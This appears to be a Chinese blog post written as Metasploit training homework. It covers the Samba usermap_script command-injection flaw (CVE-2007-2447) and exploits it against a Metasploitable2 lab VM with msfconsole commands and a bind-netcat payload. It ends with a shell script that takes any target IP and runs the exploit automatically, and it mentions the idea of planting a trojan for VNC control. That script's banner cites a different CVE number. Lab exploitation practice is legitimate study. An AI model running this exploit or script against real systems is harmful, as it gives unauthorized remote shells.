Metasploit魔鬼训练营第一章作业

1,

Samba服务

Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,
它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。
通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。

 usermap_script是Samba协议的一个漏洞,ID为CVE-2007-2447,属于远程命令注入漏洞,主要影响Samba的3.0.20到3.0.25rc3 版本。

 当使用非默认的用户名映射脚本配置选项时产生,通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令

漏洞生命周期图:

2007年5月7日:漏洞匿名披露到security@samba.org电子邮件列表中。
2007年5月7日:Samba的开发人员Gerald Carter开始响应这个漏洞。
2007年5月9日:Samba的开发者Jeremy Allison发布了补丁,用于iDefense测试。
2007年5月10日:向vendor-sec邮件列表发布通知。
2007年5月14日:公开漏洞信息。

 

可以在kali 上面找到相关信息:

 

 

 

samba官网关于此漏洞的相关信息:

https://www.samba.org/samba/security/CVE-2007-2447.html

 

漏洞相关链接:

https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script

 

2,

更新Metasploit,百度

版本信息:

 

 另外在msfconsole控制台输入banner可以查看metasploit的版本和攻击模块数量,以及metasploit的图标,算是彩蛋吧

3,

 下载metasploitable2-Linux 在虚拟机里面,我们先让kali 和 linux互相Ping,看网络是否相通

网络相通了之后,按照书上的教程即可使用usermap_script漏洞获取Linux靶机的权限

我们先使用ifconfig查看两台虚拟机的在局域网内的ip地址,然后互ping

对了,linux靶机的账号和密码都是msfadmin,这个在登录的时候其实已经显示出来了

我们将网络都设置成NAT模式,linux靶机有两张网卡,第一张设置成NAT模式,第二张设置成仅主机模式。

先查看kali的ip地址

 

 kali的ip地址为:10.10.10.128

接着我们查看linux靶机的ip地址,

 

 可以看到这里的页面显示不完全,我们看到的只有第二张网卡即仅主机模式的那张网卡的ip地址,我们重定向一下输出,即

ifconfig > test

然后再 more test

可以看到

 

 ip地址为10.10.10.254

两台虚拟机相互ping一下可知是互通的

接着按照书上的教程一样即可

首先使用samba的usermap_script模块

msf5 > use multi/samba/usermap_script

  接着选择攻击载荷:

msf5 exploit(multi/samba/usermap_script) > set payload cmd/unix/bind_netcat

  可以查看一下选项设置 show options

可以知道我们要设置攻击的ip地址RHOSTS

set RHOSTS 10.10.10.254

  设置好了之后输入exploit即可

 

 

可以看到我们已经获取到了会话

尝试植入VNC图形化远程控制工具,网上没有相关的介绍,想法是传一个木马在linux上运行,获取shell之后在meterpreter界面run vnc开启远程桌面

 

4,

题目是需要我们使用msfcli命令行接口编写shell脚本程序来进行交互,也就是我们只需要输入目标ip就可以获得目标主机的会话。

这里的小知识点是 

控制台选项:

-x,--execute-command COMMAND     执行指定的字符串作为控制台命令(使用;用于multiples)

这样我们只需要指定msfconsole执行我们输入的ip地址就可以了。

所以我们编写如下代码,看大佬的代码写的:

echo "this is a shell code for test CVE-2007-4779"
echo "please input target_ip"
read target_ip
echo "the target ip is $target_ip"
echo "please wait--------"

msfconsole -x "use multi/samba/usermap_script;set RHOST $target_ip;set payload cmd/unix/bind_netcat;exploit"

  

 

 

 

 短暂等待开启msf之后就可以获取输入目标ip的会话了

posted @ 2020-01-20 22:03  春告鳥  阅读(400)  评论(0编辑  收藏  举报